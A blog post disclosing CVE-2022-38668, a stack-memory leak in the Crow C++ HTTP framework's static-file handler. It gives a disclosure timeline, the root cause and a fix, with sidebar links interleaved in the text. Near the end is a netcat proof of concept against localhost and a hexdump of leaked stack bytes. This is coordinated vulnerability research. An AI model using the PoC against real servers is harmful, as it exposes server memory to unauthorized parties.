gynvael.coldwind//vx.log

2022-09-23: Crowbleed (Crow HTTP framework vulnerability)

vulnerability:crow

(Collaborative post by Gynvael Coldwind and hebi)

Crow is an asynchronous C++ HTTP/WebSocket framework for creating "flask-like" web services. While analyzing another vulnerability we've found a Cloudbleed-like information disclosure bug in the code path responsible for serving static files. Technically no special action on attacker's side was required - it was enough to request a static file smaller than 16KB and the server would send the file padded with uninitialized stack content (up to 16KB) back.

The vulnerability in question was reported mid-August and fixed within 6 days.

CVSS, CVE, etc

Human readable details are in the next section.

- **CVE**: CVE-2022-38668
- **CVSS 3.1**: 5.3 Medium (AV:N/AC:L/PR:N/UI:N/S:U/**C:L**/I:N/A:N) [as originally reported]
- **CVSS 3.1**: 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/**C:H**/I:N/A:N) [as rated by NIST/NVD]

Timeline

- 2022-08-14: Vulnerability discovered.
- 2022-08-17: Vulnerability reported.
- 2022-08-21: Public fix was proposed.
- 2022-08-22: Public fix was merged in.
- 2022-08-22: CVE requested and assigned.
- 2022-09-23: Details were published.

Original report with details

```
*** Summary:

Affected: Crow version 1.0+4 and older
```

Return to dashboard ⇪

Sections

lang: 🇵🇱 | 🇬🇧
RSS: 🇵🇱 | 🇬🇧

About me
Tools

→ **YT** YouTube (EN)
→ **D** Discord
→ **M** Mastodon
→ **T** Twitter
→ **GH** GitHub

Paged Out! zine

Links / Blogs

→ dragonsector.pl
→ vexillium.org

Security/Hacking:

j00ru's blog
lcamtuf's blog
invisible things (new)
invisible things (old)
liveoverflow's site
/dev/null's site
pi3's blog
icewall's blog

https://github.com/CrowCpp/Crow - maintained version (fork)
https://github.com/ipkn/crow - original version

Discovered by:
Gynvael Coldwind
hebi

Method of discovery:
Manual Analysis (reading the code)

"Crow is a C++ framework for creating HTTP or Websocket web services. It uses routing similar to Python's Flask which makes it easy to use. It is also extremely fast, beating multiple existing C++ frameworks as well as non C++ frameworks."
(source: project's README.md)

Crow versions prior 1.0+4 (included) are vulnerable to an Information Disclosure ("Exposure of Sensitive Information to an Unauthorized Actor") issue, due to improper handling of static resources.
Any request to a static resource, where the static resource is smaller than 16KB, will lead to disclosing up to 16KB of data from the stack.

IMPORTANT: This vulnerability is reported under the 90-day policy (version 2021), i.e. this report will be shared publicly with the defensive community on 16th November 2022 if a patch/fix is not available by that time, or 30 days after the fix becomes available. For details please see: https://googleprojectzero.blogspot.com/2021/04/policy-and-disclosure-2021-edition.html

*** Vulnerability details and exploit

The vulnerability is located in the Connection::do_write_static* method within the http_connection.h file.
* https://github.com/CrowCpp/Crow/blob/master/include/crow/http_connection.h#L393

This function creates a local buffer with a fixed size of 16384 bytes. Then the buffer is passed to is.read() method (where "is" denotes an opened local file pointed to by the static resource mapping) to acquire the content of the given static resource (file). This call made within a while loop's condition, which checks if any data was read (if not, the loop will exit).

However, the number of bytes that were read is not being tracked in any form.
Furthermore, the whole buffer is then passed to asio::buffer without specified size**.
** In this case it means that the whole array size will be used as data size, as per the following constructor description: https://www.boost.org/doc/libs/1_80_0/doc/html/boost_asio/reference/buffer/overload7.html

taviso's blog
pawel's blog
sandeep's blog
koto's blog
carstein's blog
zaufana trzecia strona
niebezpiecznik
sekurak

Reverse Eng./Low-Level:

rewolf's blog
gdtr
spinning mirrors
security news
rev3rsed

Programming/Code:

/dev/krzaq
sil2100/vx's web log
adam sawicki
devkk.net
xion.log

Posts

Weird PCI-e connector actually works,
A clever Python challenge – find flag,
Debug Log: The mystery of usb 3-11 device,
Hello World under the microscope,
Crow HTTP framework use-after-free,
Crowbleed (Crow HTTP framework vulnerability),
Treebox - Python AST sandbox challenge from Google CTF 2022,
An informal review of CTF abuse,
Debug Log: Why is my M.2 SSD so slow?,
Screams of Power vulnerabilities (Powertek-based PDUs),

→ see all posts on main page

/* the author and owner of this blog hereby allows anyone to test the security of this blog (on HTTP level only, the server is not mine, so let's leave it alone ;>), and try to break in (including successful breaks) without any consequences of any kind (DoS attacks are an exception here) ... I'll add that I planted in some places funny photos of some kittens, there are 7 of them right now, so have fun looking for them ;> let me know if You find them all, I'll add some congratz message or sth ;> */

Vulns found in blog:
* XSS *(pers, user-inter)* by ged_
* XSS *(non-pers)* by Anno & Tracerout
* XSS *(pers)* by Anno & Tracerout
* Blind SQLI by Sławomir Błażek
* XSS *(pers) by* Sławomir Błażek

This in turn leads to the whole local buffer being sent to the client requesting the resource, including the potentially uninitialized part. This is especially true for files smaller than 16KB.

Conditions for triggering this behavior are:

1. Static path needs to be defined.
2. At least 1 static file needs to exist.
3. The file needs to be smaller than 16KB.

*** Exploit

```
$ cat poc.txt | nc -v 127.0.0.1 18080 | hexdump -C
localhost [127.0.0.1] 18080 (?) open
00000000  48 54 54 50 2f 31 2e 31  20 32 30 30 20 4f
4b 0d  |HTTP/1.1 200 OK.|
00000010  0a 43 6f 6e 74 65 6e 74  2d 54 79 70 65 3a
20 74  |.Content-Type: t|
00000020  65 78 74 2f 70 6c 61 69  6e 0d 0a 43 6f 6e
74 65  |ext/plain..Conte|
00000030  6e 74 2d 4c 65 6e 67 74  68 3a 20 35 0d 0a
53 65  |nt-Length: 5..Se|
00000040  72 76 65 72 3a 20 43 72  6f 77 2f 6d 61 73
74 65  |rver: Crow/maste|
00000050  72 0d 0a 44 61 74 65 3a  20 54 75 65 2c 20
31 36  |r..Date: Tue, 16|
00000060  20 41 75 67 20 32 30 32  32 20 32 32 3a 34
39 3a  | Aug 2022 22:49:|
00000070  32 32 20 47 4d 54 0d 0a  43 6f 6e 6e 65 63
74 69  |22 GMT..Connecti|
00000080  6f 6e 3a 20 4b 65 65 70  2d 41 6c 69 76 65
0d 0a  |on: Keep-Alive..|
00000090  0d 0a 54 65 73 74 0a 00  00 00 00 00 00 00
00 00  |..Test..........|
000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00
00 00  |................|
*
00002a90  00 00 00 00 00 00 00 00  00 00 28 14 00 ac
d8 7f  |..........(.....|
00002aa0  00 00 20 14 00 ac d8 7f  00 00 48 f8 8c b4
d8 7f  |.. .......H.....|
00002ab0  00 00 50 f8 8c b4 d8 7f  00 00 49 8a 42 00
00 00  |..P.......I.B...|
00002ac0  00 00 28 14 00 ac d8 7f  00 00 20 14 00 ac
d8 7f  |..(....... .....|
00002ad0  00 00 03 00 00 00 00 00  00 00 11 00 00 00
00 00  |................|
00002ae0  00 00 28 14 00 ac d8 7f  00 00 20 14 00 ac
d8 7f  |..(....... .....|
00002af0  00 00 c0 f8 8c b4 d8 7f  00 00 cc 89 42 00
00 00  |............B...|
00002b00  00 00 00 00 00 00 00 00  00 00 00 00 00 00
00 00  |................|
00002b10  00 00 5b 00 00 00 6e 00  00 00 c0 1c 00 ac
d8 7f  |..[...n.........|
00002b20  00 00 b0 1c 00 ac d8 7f  00 00 01 00 00 00
00 00  |................|
00002b30  00 00 20 00 00 00 00 00  00 00 08 00 00 00
00 00  |.. .............|
00002b40  00 00 28 14 00 ac d8 7f  00 00 20 14 00 ac
d8 7f  |..(....... .....|
00002b50  00 00 b0 1c 00 ac d8 7f  00 00 40 f9 8c b4
d8 7f  |..........@.....|
00002b60  00 00 f0 f8 8c b4 d8 7f  00 00 89 48 49 00
00 00  |...........HI...|
00002b70  00 00 28 3b 8d b4 d8 7f  00 00 30 14 00 ac
d8 7f  |..(;......0.....|
00002b80  00 00 40 f9 8c b4 d8 7f  00 00 48 f9 8c b4
d8 7f  |..@.......H.....|
00002b90  00 00 50 f9 8c b4 d8 7f  00 00 99 47 49 00
```

```
00 00  |..P........GI...|
00002ba0  00 00 01 00 00 00 00 00  00 00 c8 04 8d b4
d8 7f  |................|
00002bb0  00 00 30 f9 8c b4 d8 7f  00 00 b0 1c 00 ac
d8 7f  |..0.............|
00002bc0  00 00 01 00 00 00 00 00  00 00 c8 04 8d b4
d8 7f  |................|
00002bd0  00 00 d0 1c 00 ac d8 7f  00 00 b0 1c 00 ac
d8 7f  |................|
00002be0  00 00 30 14 00 ac d8 7f  00 00 30 14 00 ac
d8 7f  |..0.......0.....|
00002bf0  00 00 90 f9 8c b4 d8 7f  00 00 00 53 2a 66
e1 24  |...........S*f.$|
00002c00  09 b2 30 14 00 ac d8 7f  00 00 60 ff ff ff
ff ff  |..0.......`.....|
...

*** Proposed fix:

Passing the actual size of bytes read to
asio::buffer's constructor.
```

Add a comment:

Nick:

URL (optional):

Math captcha: 4 * 6 + 4 =

Submit